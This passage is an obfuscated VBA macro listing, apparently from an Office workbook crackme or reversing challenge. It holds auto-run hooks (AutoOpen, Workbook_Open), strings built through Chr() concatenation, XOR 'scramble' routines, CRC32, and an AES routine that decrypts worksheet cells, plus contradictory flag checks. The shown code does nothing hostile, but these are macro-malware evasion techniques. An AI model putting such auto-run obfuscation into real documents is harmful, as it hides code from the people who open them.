& "" & "z" & "" & ")" & "}" & Chr(42) & "(" & Chr(43) & "" & Chr(42) & Chr(45)) Then 259 | 260 | lkvpupxa = lkvpupxa2 261 | 262 | lkvpupxa = scramble4(lkvpupxa) 263 | 264 | End If 265 | 266 | MsgBox lkvpupxa 267 | 268 | End Sub 269 | 270 | 271 | 272 | Sub ww8wn9l2() 273 | X0 = Mid(hiz7dgus, 0, 1) 274 | 275 | X1 = Mid(hiz7dgus, 1, 1) 276 | 277 | X2 = Mid(hiz7dgus, 0, 1) 278 | 279 | X3 = Mid(hiz7dgus, 1, 1) 280 | 281 | X4 = Mid(hiz7dgus, 0, 1) 282 | 283 | X5 = Mid(hiz7dgus, 1, 1) 284 | 285 | X6 = Mid(hiz7dgus, 0, 1) 286 | 287 | X7 = Mid(hiz7dgus, 1, 1) 288 | 289 | X8 = Mid(hiz7dgus, 0, 1) 290 | 291 | X9 = Mid(hiz7dgus, 1, 1) 292 | 293 | 294 | 295 | If (X0 Xor X3) = 52 Then 296 | 297 | If (X1 + X3) = 123 Then 298 | 299 | If (X9 - X1) = -97 Then 300 | 301 | If X4 < 134 Then 302 | 303 | If (X4 Xor 127) = 98 Then 304 | 305 | If (X1 * X4) = 7568 Then 306 | 307 | If (X7 + X1 + X5 - X6) = 89 Then 308 | 309 | If (X7 - X5 + X6) = 56 Then 310 | 311 | If (X7 + X5 + X6) = 78 Then 312 | 313 | If (X2 + X8) < 198 Then 314 | 315 | If (X2 + X8) >= 232 Then 316 | 317 | If (X8 + X1) = 110 Then 318 | 319 | If (X9 + X1 + X8) = 210 Then 320 | 321 | lkvpupxa = scramble4(lkvpupxa4) 322 | 323 | End 324 | 325 | End If 326 | 327 | End If 328 | 329 | End If 330 | 331 | End If 332 | 333 | End If 334 | 335 | End If 336 | 337 | End If 338 | 339 | End If 340 | 341 | End If 342 | 343 | End If 344 | 345 | End If 346 | 347 | End If 348 | 349 | End If 350 | 351 | End Sub 352 | 353 | Function stringToByteArray(str As String) As Variant 354 | 355 | Dim bytes() As Byte 356 | 357 | bytes = str 358 | 359 | stringToByteArray = bytes 360 | 361 | End Function 362 | 363 | 364 | 365 | Function byteArrayToString(bytes() As Byte) As String 366 | 367 | Dim str As String 368 | 369 | str = bytes 370 | 371 | byteArrayToString = str 372 | 373 | End Function 374 | 375 | Function scramble4(str As String) As String 376 | 377 | Dim mki9hn67 As String 378 | mki9hn67 = smmoy975("`" & "" & Chr(42) & Chr(126) & "" & "!" & " " & "" & Chr(52) & "" & "5" & "" & Chr(56) & "" & "W" & Chr(123) & "" & Chr(104) & "" & Chr(35) & Chr(72) & Chr(119) & "" & "~" & "]" & "" & Chr(77) & "" & Chr(100) & "" & "6" & Chr(105) & "" & "Z" & "^" & Chr(127) & "" & Chr(72) & "w" & "~" & "" & "]" & "$" & Chr(50) & "" & Chr(78) & "" & "r" & "" & "Y" & "" & "6" & "i" & "Z" & "") 379 | 380 | 381 | 382 | Dim stringBytes() As Byte, passwordBytes() As Byte, scrambledBytes() As Byte 383 | 384 | stringBytes = stringToByteArray(str) 385 | 386 | passwordBytes = stringToByteArray(mki9hn67 & mki9hn67 & mki9hn67 & mki9hn67 & mki9hn67 & mki9hn67 & mki9hn67) 387 | 388 | 389 | 390 | Dim on86oqao As Long 391 | 392 | on86oqao = UBound(stringBytes) 393 | 394 | ReDim scrambledBytes(on86oqao) 395 | 396 | Dim idx As Long 397 | 398 | For idx = LBound(stringBytes) To on86oqao 399 | 400 | scrambledBytes(idx) = stringBytes(idx) Xor passwordBytes(idx) 401 | 402 | Next idx 403 | 404 | scramble2 = byteArrayToString(scrambledBytes) 405 | 406 | End Function 407 | 408 | Function scramble2(str As String) As String 409 | 410 | Dim pf67desr As String 411 | pf67desr = smmoy975("`" & "" & Chr(67) & Chr(114) & "" & Chr(46) & "X" & "4" & "" & "5" & Chr(56) & "" & "W" & "" & "{" & "h" & "" & Chr(35) & "" & Chr(72) & "" & "w" & Chr(126) & "]" & "" & "M" & Chr(100) & Chr(54) & "" & "i" & Chr(90) & "^" & Chr(127) & "T" & Chr(74) & "" & Chr(78) & "r" & Chr(89) & "" & Chr(99) & "$" & Chr(50) & "") 412 | 413 | 414 | 415 | Dim stringBytes() As Byte, passwordBytes() As Byte, scrambledBytes() As Byte 416 | 417 | stringBytes = stringToByteArray(str) 418 | 419 | passwordBytes = stringToByteArray(pf67desr & pf67desr & pf67desr & pf67desr & pf67desr & pf67desr & pf67desr) 420 | 421 | 422 | 423 | Dim on86oqao As Long 424 | 425 | on86oqao = UBound(stringBytes) 426 | 427 | ReDim scrambledBytes(on86oqao) 428 | 429 | Dim idx As Long 430 | 431 | For idx = LBound(stringBytes) To on86oqao 432 | 433 | scrambledBytes(idx) = stringBytes(idx) Xor passwordBytes(idx) 434 | 435 | Next idx 436 | 437 | scramble2 = byteArrayToString(scrambledBytes) 438 | 439 | End Function 440 | 441 | 442 | 443 | Function scramble3(str As String) As String 444 | 445 | Dim kj78hgb As String 446 | kj78hgb = smmoy975("A" & "" & Chr(89) & "T" & "" & "l" & "" & "^" & "" & "*" & Chr(68) & "~" & "q" & Chr(115) & "" & Chr(68) & Chr(111) & "o" & " " & "C" & "[" & "" & Chr(70) & Chr(107) & "w" & "" & "1" & "/" & "*" & Chr(84) & "" & Chr(89) & "" & "L" & Chr(78) & "" & "|" & "" & " " & "" & "Y" & "" & Chr(100) & "" & "Z" & Chr(55)) 447 | 448 | Dim stringBytes() As Byte, passwordBytes() As Byte, scrambledBytes() As Byte 449 | 450 | stringBytes = stringToByteArray(str) 451 | 452 | passwordBytes = stringToByteArray(kj78hgb & kj78hgb & kj78hgb & kj78hgb & kj78hgb & kj78hgb & kj78hgb) 453 | 454 | 455 | 456 | Dim on86oqao As Long 457 | 458 | on86oqao = UBound(stringBytes) 459 | 460 | ReDim scrambledBytes(on86oqao) As Byte 461 | 462 | Dim idx As Long 463 | 464 | For idx = LBound(stringBytes) To on86oqao 465 | 466 | scrambledBytes(idx) = stringBytes(idx) Xor passwordBytes(idx) 467 | 468 | Next idx 469 | 470 | scramble3 = byteArrayToString(scrambledBytes) 471 | 472 | End Function 473 | 474 | 475 | 476 | Function scramble3bis(mydata() As Byte) As String 477 | 478 | Dim bjk98h As String 479 | bjk98h = smmoy975("A" & "" & Chr(89) & "T" & "" & "l" & "" & "^" & "" & "*" & Chr(68) & "~" & "q" & Chr(115) & "" & Chr(68) & Chr(111) & "o" & " " & "C" & "[" & "" & Chr(70) & Chr(107) & "w" & "" & "1" & "/" & "*" & Chr(84) & "" & Chr(89) & "" & "L" & Chr(78) & "" & "|" & "" & " " & "" & "Y" & "" & Chr(100) & "" & "Z" & Chr(55)) 480 | 481 | 482 | 483 | Dim z7azq391 As Byte 484 | 485 | passwordBytes = stringToByteArray(bjk98h & bjk98h & bjk98h & bjk98h & bjk98h & bjk98h & bjk98h) 486 | 487 | 488 | 489 | Dim on86oqao As Long 490 | 491 | on86oqao = UBound(mydata) 492 | 493 | ReDim scrambledBytes(on86oqao) As Byte 494 | 495 | Dim idx As Long 496 | 497 | For idx = LBound(mydata) To on86oqao 498 | 499 | scrambledBytes(idx) = mydata(idx) Xor passwordBytes(idx) 500 | 501 | Next idx 502 | 503 | scramble3bis = byteArrayToString(scrambledBytes) 504 | 505 | End Function 506 | 507 | Sub AutoOpen() 508 | Auto_Open 509 | End Sub 510 | 511 | Sub Workbook_Open() 512 | Auto_Open 513 | End Sub 514 | 515 | Private Sub CRCinit() 516 | CRC_32_Tab(0) = &H0 517 | 518 | CRC_32_Tab(1) = &H77073096 519 | 520 | CRC_32_Tab(2) = &HEE0E612C 521 | 522 | CRC_32_Tab(3) = &H990951BA 523 | 524 | CRC_32_Tab(4) = &H76DC419 525 | 526 | CRC_32_Tab(5) = &H706AF48F 527 | 528 | CRC_32_Tab(6) = &HE963A535 529 | 530 | CRC_32_Tab(7) = &H9E6495A3 531 | 532 | CRC_32_Tab(8) = &HEDB8832 533 | 534 | CRC_32_Tab(9) = &H79DCB8A4 535 | 536 | CRC_32_Tab(10) = &HE0D5E91E 537 | 538 | CRC_32_Tab(11) = &H97D2D988 539 | 540 | CRC_32_Tab(12) = &H9B64C2B 541 | 542 | CRC_32_Tab(13) = &H7EB17CBD 543 | 544 | CRC_32_Tab(14) = &HE7B82D07 545 | 546 | CRC_32_Tab(15) = &H90BF1D91 547 | 548 | CRC_32_Tab(16) = &H1DB71064 549 | 550 | CRC_32_Tab(17) = &H6AB020F2 551 | 552 | CRC_32_Tab(18) = &HF3B97148 553 | 554 | CRC_32_Tab(19) = &H84BE41DE 555 | 556 | CRC_32_Tab(20) = &H1ADAD47D 557 | 558 | CRC_32_Tab(21) = &H6DDDE4EB 559 | 560 | CRC_32_Tab(22) = &HF4D4B551 561 | 562 | CRC_32_Tab(23) = &H83D385C7 563 | 564 | CRC_32_Tab(24) = &H136C9856 565 | 566 | CRC_32_Tab(25) = &H646BA8C0 567 | 568 | CRC_32_Tab(26) = &HFD62F97A 569 | 570 | CRC_32_Tab(27) = &H8A65C9EC 571 | 572 | CRC_32_Tab(28) = &H14015C4F 573 | 574 | CRC_32_Tab(29) = &H63066CD9 575 | 576 | CRC_32_Tab(30) = &HFA0F3D63 577 | 578 | CRC_32_Tab(31) = &H8D080DF5 579 | 580 | CRC_32_Tab(32) = &H3B6E20C8 581 | 582 | CRC_32_Tab(33) = &H4C69105E 583 | 584 | CRC_32_Tab(34) = &HD56041E4 585 | 586 | CRC_32_Tab(35) = &HA2677172 587 | 588 | CRC_32_Tab(36) = &H3C03E4D1 589 | 590 | CRC_32_Tab(37) = &H4B04D447 591 | 592 | CRC_32_Tab(38) = &HD20D85FD 593 | 594 | CRC_32_Tab(39) = &HA50AB56B 595 | 596 | CRC_32_Tab(40) = &H35B5A8FA 597 | 598 | CRC_32_Tab(41) = &H42B2986C 599 | 600 | CRC_32_Tab(42) = &HDBBBC9D6 601 | 602 | CRC_32_Tab(43) = &HACBCF940 603 | 604 | CRC_32_Tab(44) = &H32D86CE3 605 | 606 | CRC_32_Tab(45) = &H45DF5C75 607 | 608 | CRC_32_Tab(46) = &HDCD60DCF 609 | 610 | CRC_32_Tab(47) = &HABD13D59 611 | 612 | CRC_32_Tab(48) = &H26D930AC 613 | 614 | CRC_32_Tab(49) = &H51DE003A 615 | 616 | CRC_32_Tab(50) = &HC8D75180 617 | 618 | CRC_32_Tab(51) = &HBFD06116 619 | 620 | CRC_32_Tab(52) = &H21B4F4B5 621 | 622 | CRC_32_Tab(53) = &H56B3C423 623 | 624 | CRC_32_Tab(54) = &HCFBA9599 625 | 626 | CRC_32_Tab(55) = &HB8BDA50F 627 | 628 | CRC_32_Tab(56) = &H2802B89E 629 | 630 | CRC_32_Tab(57) = &H5F058808 631 | 632 | CRC_32_Tab(58) = &HC60CD9B2 633 | 634 | CRC_32_Tab(59) = &HB10BE924 635 | 636 | CRC_32_Tab(60) = &H2F6F7C87 637 | 638 | CRC_32_Tab(61) = &H58684C11 639 | 640 | CRC_32_Tab(62) = &HC1611DAB 641 | 642 | CRC_32_Tab(63) = &HB6662D3D 643 | 644 | CRC_32_Tab(64) = &H76DC4190 645 | 646 | CRC_32_Tab(65) = &H1DB7106 647 | 648 | CRC_32_Tab(66) = &H98D220BC 649 | 650 | CRC_32_Tab(67) = &HEFD5102A 651 | 652 | CRC_32_Tab(68) = &H71B18589 653 | 654 | CRC_32_Tab(69) = &H6B6B51F 655 | 656 | CRC_32_Tab(70) = &H9FBFE4A5 657 | 658 | CRC_32_Tab(71) = &HE8B8D433 659 | 660 | CRC_32_Tab(72) = &H7807C9A2 661 | 662 | CRC_32_Tab(73) = &HF00F934 663 | 664 | CRC_32_Tab(74) = &H9609A88E 665 | 666 | CRC_32_Tab(75) = &HE10E9818 667 | 668 | CRC_32_Tab(76) = &H7F6A0DBB 669 | 670 | CRC_32_Tab(77) = &H86D3D2D 671 | 672 | CRC_32_Tab(78) = &H91646C97 673 | 674 | CRC_32_Tab(79) = &HE6635C01 675 | 676 | CRC_32_Tab(80) = &H6B6B51F4 677 | 678 | CRC_32_Tab(81) = &H1C6C6162 679 | 680 | CRC_32_Tab(82) = &H856530D8 681 | 682 | CRC_32_Tab(83) = &HF262004E 683 | 684 | CRC_32_Tab(84) = &H6C0695ED 685 | 686 | CRC_32_Tab(85) = &H1B01A57B 687 | 688 | CRC_32_Tab(86) = &H8208F4C1 689 | 690 | CRC_32_Tab(87) = &HF50FC457 691 | 692 | CRC_32_Tab(88) = &H65B0D9C6 693 | 694 | CRC_32_Tab(89) = &H12B7E950 695 | 696 | CRC_32_Tab(90) = &H8BBEB8EA 697 | 698 | CRC_32_Tab(91) = &HFCB9887C 699 | 700 | CRC_32_Tab(92) = &H62DD1DDF 701 | 702 | CRC_32_Tab(93) = &H15DA2D49 703 | 704 | CRC_32_Tab(94) = &H8CD37CF3 705 | 706 | CRC_32_Tab(95) = &HFBD44C65 707 | 708 | CRC_32_Tab(96) = &H4DB26158 709 | 710 | CRC_32_Tab(97) = &H3AB551CE 711 | 712 | CRC_32_Tab(98) = &HA3BC0074 713 | 714 | CRC_32_Tab(99) = &HD4BB30E2 715 | 716 | CRC_32_Tab(100) = &H4ADFA541 717 | 718 | CRC_32_Tab(101) = &H3DD895D7 719 | 720 | CRC_32_Tab(102) = &HA4D1C46D 721 | 722 | CRC_32_Tab(103) = &HD3D6F4FB 723 | 724 | CRC_32_Tab(104) = &H4369E96A 725 | 726 | CRC_32_Tab(105) = &H346ED9FC 727 | 728 | CRC_32_Tab(106) = &HAD678846 729 | 730 | CRC_32_Tab(107) = &HDA60B8D0 731 | 732 | CRC_32_Tab(108) = &H44042D73 733 | 734 | CRC_32_Tab(109) = &H33031DE5 735 | 736 | CRC_32_Tab(110) = &HAA0A4C5F 737 | 738 | CRC_32_Tab(111) = &HDD0D7CC9 739 | 740 | CRC_32_Tab(112) = &H5005713C 741 | 742 | CRC_32_Tab(113) = &H270241AA 743 | 744 | CRC_32_Tab(114) = &HBE0B1010 745 | 746 | CRC_32_Tab(115) = &HC90C2086 747 | 748 | CRC_32_Tab(116) = &H5768B525 749 | 750 | CRC_32_Tab(117) = &H206F85B3 751 | 752 | CRC_32_Tab(118) = &HB966D409 753 | 754 | CRC_32_Tab(119) = &HCE61E49F 755 | 756 | CRC_32_Tab(120) = &H5EDEF90E 757 | 758 | CRC_32_Tab(121) = &H29D9C998 759 | 760 | CRC_32_Tab(122) = &HB0D09822 761 | 762 | CRC_32_Tab(123) = &HC7D7A8B4 763 | 764 | CRC_32_Tab(124) = &H59B33D17 765 | 766 | CRC_32_Tab(125) = &H2EB40D81 767 | 768 | CRC_32_Tab(126) = &HB7BD5C3B 769 | 770 | CRC_32_Tab(127) = &HC0BA6CAD 771 | 772 | CRC_32_Tab(128) = &HEDB88320 773 | 774 | CRC_32_Tab(129) = &H9ABFB3B6 775 | 776 | CRC_32_Tab(130) = &H3B6E20C 777 | 778 | CRC_32_Tab(131) = &H74B1D29A 779 | 780 | CRC_32_Tab(132) = &HEAD54739 781 | 782 | CRC_32_Tab(133) = &H9DD277AF 783 | 784 | CRC_32_Tab(134) = &H4DB2615 785 | 786 | CRC_32_Tab(135) = &H73DC1683 787 | 788 | CRC_32_Tab(136) = &HE3630B12 789 | 790 | CRC_32_Tab(137) = &H94643B84 791 | 792 | CRC_32_Tab(138) = &HD6D6A3E 793 | 794 | CRC_32_Tab(139) = &H7A6A5AA8 795 | 796 | CRC_32_Tab(140) = &HE40ECF0B 797 | 798 | CRC_32_Tab(141) = &H9309FF9D 799 | 800 | CRC_32_Tab(142) = &HA00AE27 801 | 802 | CRC_32_Tab(143) = &H7D079EB1 803 | 804 | CRC_32_Tab(144) = &HF00F9344 805 | 806 | CRC_32_Tab(145) = &H8708A3D2 807 | 808 | CRC_32_Tab(146) = &H1E01F268 809 | 810 | CRC_32_Tab(147) = &H6906C2FE 811 | 812 | CRC_32_Tab(148) = &HF762575D 813 | 814 | CRC_32_Tab(149) = &H806567CB 815 | 816 | CRC_32_Tab(150) = &H196C3671 817 | 818 | CRC_32_Tab(151) = &H6E6B06E7 819 | 820 | CRC_32_Tab(152) = &HFED41B76 821 | 822 | CRC_32_Tab(153) = &H89D32BE0 823 | 824 | CRC_32_Tab(154) = &H10DA7A5A 825 | 826 | CRC_32_Tab(155) = &H67DD4ACC 827 | 828 | CRC_32_Tab(156) = &HF9B9DF6F 829 | 830 | CRC_32_Tab(157) = &H8EBEEFF9 831 | 832 | CRC_32_Tab(158) = &H17B7BE43 833 | 834 | CRC_32_Tab(159) = &H60B08ED5 835 | 836 | CRC_32_Tab(160) = &HD6D6A3E8 837 | 838 | CRC_32_Tab(161) = &HA1D1937E 839 | 840 | CRC_32_Tab(162) = &H38D8C2C4 841 | 842 | CRC_32_Tab(163) = &H4FDFF252 843 | 844 | CRC_32_Tab(164) = &HD1BB67F1 845 | 846 | CRC_32_Tab(165) = &HA6BC5767 847 | 848 | CRC_32_Tab(166) = &H3FB506DD 849 | 850 | CRC_32_Tab(167) = &H48B2364B 851 | 852 | CRC_32_Tab(168) = &HD80D2BDA 853 | 854 | CRC_32_Tab(169) = &HAF0A1B4C 855 | 856 | CRC_32_Tab(170) = &H36034AF6 857 | 858 | CRC_32_Tab(171) = &H41047A60 859 | 860 | CRC_32_Tab(172) = &HDF60EFC3 861 | 862 | CRC_32_Tab(173) = &HA867DF55 863 | 864 | CRC_32_Tab(174) = &H316E8EEF 865 | 866 | CRC_32_Tab(175) = &H4669BE79 867 | 868 | CRC_32_Tab(176) = &HCB61B38C 869 | 870 | CRC_32_Tab(177) = &HBC66831A 871 | 872 | CRC_32_Tab(178) = &H256FD2A0 873 | 874 | CRC_32_Tab(179) = &H5268E236 875 | 876 | CRC_32_Tab(180) = &HCC0C7795 877 | 878 | CRC_32_Tab(181) = &HBB0B4703 879 | 880 | CRC_32_Tab(182) = &H220216B9 881 | 882 | CRC_32_Tab(183) = &H5505262F 883 | 884 | CRC_32_Tab(184) = &HC5BA3BBE 885 | 886 | CRC_32_Tab(185) = &HB2BD0B28 887 | 888 | CRC_32_Tab(186) = &H2BB45A92 889 | 890 | CRC_32_Tab(187) = &H5CB36A04 891 | 892 | CRC_32_Tab(188) = &HC2D7FFA7 893 | 894 | CRC_32_Tab(189) = &HB5D0CF31 895 | 896 | CRC_32_Tab(190) = &H2CD99E8B 897 | 898 | CRC_32_Tab(191) = &H5BDEAE1D 899 | 900 | CRC_32_Tab(192) = &H9B64C2B0 901 | 902 | CRC_32_Tab(193) = &HEC63F226 903 | 904 | CRC_32_Tab(194) = &H756AA39C 905 | 906 | CRC_32_Tab(195) = &H26D930A 907 | 908 | CRC_32_Tab(196) = &H9C0906A9 909 | 910 | CRC_32_Tab(197) = &HEB0E363F 911 | 912 | CRC_32_Tab(198) = &H72076785 913 | 914 | CRC_32_Tab(199) = &H5005713 915 | 916 | CRC_32_Tab(200) = &H95BF4A82 917 | 918 | CRC_32_Tab(201) = &HE2B87A14 919 | 920 | CRC_32_Tab(202) = &H7BB12BAE 921 | 922 | CRC_32_Tab(203) = &HCB61B38 923 | 924 | CRC_32_Tab(204) = &H92D28E9B 925 | 926 | CRC_32_Tab(205) = &HE5D5BE0D 927 | 928 | CRC_32_Tab(206) = &H7CDCEFB7 929 | 930 | CRC_32_Tab(207) = &HBDBDF21 931 | 932 | CRC_32_Tab(208) = &H86D3D2D4 933 | 934 | CRC_32_Tab(209) = &HF1D4E242 935 | 936 | CRC_32_Tab(210) = &H68DDB3F8 937 | 938 | CRC_32_Tab(211) = &H1FDA836E 939 | 940 | CRC_32_Tab(212) = &H81BE16CD 941 | 942 | CRC_32_Tab(213) = &HF6B9265B 943 | 944 | CRC_32_Tab(214) = &H6FB077E1 945 | 946 | CRC_32_Tab(215) = &H18B74777 947 | 948 | CRC_32_Tab(216) = &H88085AE6 949 | 950 | CRC_32_Tab(217) = &HFF0F6A70 951 | 952 | CRC_32_Tab(218) = &H66063BCA 953 | 954 | CRC_32_Tab(219) = &H11010B5C 955 | 956 | CRC_32_Tab(220) = &H8F659EFF 957 | 958 | CRC_32_Tab(221) = &HF862AE69 959 | 960 | CRC_32_Tab(222) = &H616BFFD3 961 | 962 | CRC_32_Tab(223) = &H166CCF45 963 | 964 | CRC_32_Tab(224) = &HA00AE278 965 | 966 | CRC_32_Tab(225) = &HD70DD2EE 967 | 968 | CRC_32_Tab(226) = &H4E048354 969 | 970 | CRC_32_Tab(227) = &H3903B3C2 971 | 972 | CRC_32_Tab(228) = &HA7672661 973 | 974 | CRC_32_Tab(229) = &HD06016F7 975 | 976 | CRC_32_Tab(230) = &H4969474D 977 | 978 | CRC_32_Tab(231) = &H3E6E77DB 979 | 980 | CRC_32_Tab(232) = &HAED16A4A 981 | 982 | CRC_32_Tab(233) = &HD9D65ADC 983 | 984 | CRC_32_Tab(234) = &H40DF0B66 985 | 986 | CRC_32_Tab(235) = &H37D83BF0 987 | 988 | CRC_32_Tab(236) = &HA9BCAE53 989 | 990 | CRC_32_Tab(237) = &HDEBB9EC5 991 | 992 | CRC_32_Tab(238) = &H47B2CF7F 993 | 994 | CRC_32_Tab(239) = &H30B5FFE9 995 | 996 | CRC_32_Tab(240) = &HBDBDF21C 997 | 998 | CRC_32_Tab(241) = &HCABAC28A 999 | 1000 | CRC_32_Tab(242) = &H53B39330 1001 | 1002 | CRC_32_Tab(243) = &H24B4A3A6 1003 | 1004 | CRC_32_Tab(244) = &HBAD03605 1005 | 1006 | CRC_32_Tab(245) = &HCDD70693 1007 | 1008 | CRC_32_Tab(246) = &H54DE5729 1009 | 1010 | CRC_32_Tab(247) = &H23D967BF 1011 | 1012 | CRC_32_Tab(248) = &HB3667A2E 1013 | 1014 | CRC_32_Tab(249) = &HC4614AB8 1015 | 1016 | CRC_32_Tab(250) = &H5D681B02 1017 | 1018 | CRC_32_Tab(251) = &H2A6F2B94 1019 | 1020 | CRC_32_Tab(252) = &HB40BBE37 1021 | 1022 | CRC_32_Tab(253) = &HC30C8EA1 1023 | 1024 | CRC_32_Tab(254) = &H5A05DF1B 1025 | 1026 | CRC_32_Tab(255) = &H2D02EF8D 1027 | 1028 | End Sub 1029 | 1030 | 1031 | 1032 | Private Function Shr(N As Long, m As Integer) As Long 1033 | 1034 | If (m > 31) Then 1035 | 1036 | Shr = 0 1037 | 1038 | Exit Function 1039 | 1040 | End If 1041 | 1042 | If (N >= 0) Then 1043 | 1044 | Shr = N \ (2 ^ m) 1045 | 1046 | Else 1047 | 1048 | Q& = N And &H7FFFFFFF 1049 | 1050 | Q& = Q& \ (2 ^ m) 1051 | 1052 | Shr = Q& Or (2 ^ (31 - m)) 1053 | 1054 | End If 1055 | 1056 | End Function 1057 | 1058 | 1059 | 1060 | Private Function Calc(Stri As String) As Long 1061 | 1062 | CRCinit 1063 | 1064 | tCRC32& = &HFFFFFFFF 1065 | 1066 | For i& = 1 To Len(Stri) 1067 | 1068 | m& = Asc(Mid$(Stri, i&, 1)) 1069 | 1070 | N& = (tCRC32& Xor m&) And &HFF 1071 | 1072 | tCRC32& = CRC_32_Tab(N&) Xor (Shr(tCRC32&, 8) And &HFFFFFF) 1073 | 1074 | Next i& 1075 | 1076 | Calc = -(tCRC32& + 1) 1077 | 1078 | End Function 1079 | 1080 | 1081 | 1082 | Public Function CalcStr(Stri As String) As String 1083 | 1084 | CalcStr = CStr(Hex$(Calc(Stri))) 1085 | 1086 | End Function 1087 | 1088 | Sub hgn5rk3f() 1089 | Dim ph9bg897 As String, qivopl82b As String 1090 | qivopl82b = hiz7dgus 1091 | 1092 | ph9bg897 = Worksheets(smmoy975(Chr(118) & "" & "i" & "" & Chr(124) & "k" & "x" & "" & Chr(109) & "" & Chr(112) & "" & smmoy975(Chr(111) & "") & "" & Chr(119))).Range(smmoy975(Chr(94) & "" & "+")).Value 1093 | 1094 | g345dzm = Module3.AES(ph9bg897, False, qivopl82b) 1095 | 1096 | Worksheets(smmoy975(Chr(118) & "" & "i" & "" & Chr(124) & "k" & "x" & "" & Chr(109) & "" & Chr(112) & "" & smmoy975(Chr(111) & "") & "" & Chr(119))).Range(smmoy975(Chr(94) & "" & "+")).Value = g345dzm 1097 | 1098 | 1099 | 1100 | ph9bg897 = Worksheets(smmoy975(Chr(118) & "" & "i" & "" & Chr(124) & "k" & "x" & "" & Chr(109) & "" & Chr(112) & "" & smmoy975(Chr(111) & "") & "" & Chr(119))).Range(smmoy975(Chr(94) & "!")).Value 1101 | 1102 | g345dzm = Module3.AES(ph9bg897, False, qivopl82b) 1103 | 1104 | Worksheets(smmoy975(Chr(118) & "" & "i" & "" & Chr(124) & "k" & "x" & "" & Chr(109) & "" & Chr(112) & "" & smmoy975(Chr(111) & "") & "" & Chr(119))).Range(smmoy975(Chr(94) & "!")).Value = g345dzm 1105 | 1106 | 1107 | 1108 | ph9bg897 = Worksheets(smmoy975(Chr(118) & "" & "i" & "" & Chr(124) & "k" & "x" & "" & Chr(109) & "" & Chr(112) & "" & smmoy975(Chr(111) & "") & "" & Chr(119))).Range(smmoy975("Q" & "" & Chr(43) & "" & Chr(40))).Value 1109 | 1110 | g345dzm = Module3.AES(ph9bg897, False, qivopl82b) 1111 | 1112 | Worksheets(smmoy975(Chr(118) & "" & "i" & "" & Chr(124) & "k" & "x" & "" & Chr(109) & "" & Chr(112) & "" & smmoy975(Chr(111) & "") & "" & Chr(119))).Range(smmoy975("Q" & "" & Chr(43) & "" & Chr(40))).Value = g345dzm 1113 | 1114 | 1115 | 1116 | ph9bg897 = Worksheets(smmoy975("}" & "" & "|" & Chr(109) & "" & Chr(120) & "" & "p" & "" & "u" & "" & "j")).Range(smmoy975(Chr(88) & "" & "+" & "")).Value 1117 | 1118 | g345dzm = Module3.AES(ph9bg897, False, qivopl82b) 1119 | 1120 | Worksheets(smmoy975("}" & "" & "|" & Chr(109) & "" & Chr(120) & "" & "p" & "" & "u" & "" & "j")).Range(smmoy975(Chr(88) & "" & "+" & "")).Value = g345dzm 1121 | 1122 | 1123 | 1124 | ph9bg897 = Worksheets(smmoy975("}" & "" & "|" & Chr(109) & "" & Chr(120) & "" & "p" & "" & "u" & "" & "j")).Range(smmoy975(Chr(88) & ",")).Value 1125 | 1126 | g345dzm = Module3.AES(ph9bg897, False, qivopl82b) 1127 | 1128 | Worksheets(smmoy975("}" & "" & "|" & Chr(109) & "" & Chr(120) & "" & "p" & "" & "u" & "" & "j")).Range(smmoy975(Chr(88) & ",")).Value = g345dzm 1129 | 1130 | End Sub 1131 | 1132 | 1133 | module3 1134 | ======= 1135 | 1136 | Function AES(sMessage As String, isEncode As Boolean, sPassword As String) As String 1137 | Dim sbox() 1138 | Dim sboxinv() 1139 | Dim rcon() 1140 | Dim g2() 1141 | Dim g3() 1142 | Dim g9() 1143 | Dim g11() 1144 | Dim g13() 1145 | Dim g14() 1146 | 1147 | g2 = Array( _ 1148 | &H0, &H2, &H4, &H6, &H8, &HA, &HC, &HE, &H10, &H12, &H14, &H16, &H18, &H1A, &H1C, &H1E, _ 1149 | &H20, &H22, &H24, &H26, &H28, &H2A, &H2C, &H2E, &H30, &H32, &H34, &H36, &H38, &H3A, &H3C, &H3E, _ 1150 | &H40, &H42, &H44, &H46, &H48, &H4A, &H4C, &H4E, &H50, &H52, &H54, &H56, &H58, &H5A, &H5C, &H5E, _ 1151 | &H60, &H62, &H64, &H66, &H68, &H6A, &H6C, &H6E, &H70, &H72, &H74, &H76, &H78, &H7A, &H7C, &H7E, _ 1152 | &H80, &H82, &H84, &H86, &H88, &H8A, &H8C, &H8E, &H90, &H92, &H94, &H96, &H98, &H9A, &H9C, &H9E, _ 1153 | &HA0, &HA2, &HA4, &HA6, &HA8, &HAA, &HAC, &HAE, &HB0, &HB2, &HB4, &HB6, &HB8, &HBA, &HBC, &HBE, _ 1154 | &HC0, &HC2, &HC4, &HC6, &HC8, &HCA, &HCC, &HCE, &HD0, &HD2, &HD4, &HD6, &HD8, &HDA, &HDC, &HDE, _ 1155 | &HE0, &HE2, &HE4, &HE6, &HE8, &HEA, &HEC, &HEE, &HF0, &HF2, &HF4, &HF6, &HF8, &HFA, &HFC, &HFE, _ 1156 | &H1B, &H19, &H1F, &H1D, &H13, &H11, &H17, &H15, &HB, &H9, &HF, &HD, &H3, &H1, &H7, &H5, _ 1157 | &H3B, &H39, &H3F, &H3D, &H33, &H31, &H37, &H35, &H2B, &H29, &H2F, &H2D, &H23, &H21, &H27, &H25, _ 1158 | &H5B, &H59, &H5F, &H5D, &H53, &H51, &H57, &H55, &H4B, &H49, &H4F, &H4D, &H43, &H41, &H47, &H45, _ 1159 | &H7B, &H79, &H7F, &H7D, &H73, &H71, &H77, &H75, &H6B, &H69, &H6F, &H6D, &H63, &H61, &H67, &H65, _ 1160 | &H9B, &H99, &H9F, &H9D, &H93, &H91, &H97, &H95, &H8B, &H89, &H8F, &H8D, &H83, &H81, &H87, &H85, _ 1161 | &HBB, &HB9, &HBF, &HBD, &HB3, &HB1, &HB7, &HB5, &HAB, &HA9, &HAF, &HAD, &HA3, &HA1, &HA7, &HA5, _ 1162 | &HDB, &HD9, &HDF, &HDD, &HD3, &HD1, &HD7, &HD5, &HCB, &HC9, &HCF, &HCD, &HC3, &HC1, &HC7, &HC5, _ 1163 | &HFB, &HF9, &HFF, &HFD, &HF3, &HF1, &HF7, &HF5, &HEB, &HE9, &HEF, &HED, &HE3, &HE1, &HE7, &HE5) 1164 | 1165 | g3 = Array( _ 1166 | &H0, &H3, &H6, &H5, &HC, &HF, &HA, &H9, &H18, &H1B, &H1E, &H1D, &H14, &H17, &H12, &H11, _ 1167 | &H30, &H33, &H36, &H35, &H3C, &H3F, &H3A, &H39, &H28, &H2B, &H2E, &H2D, &H24, 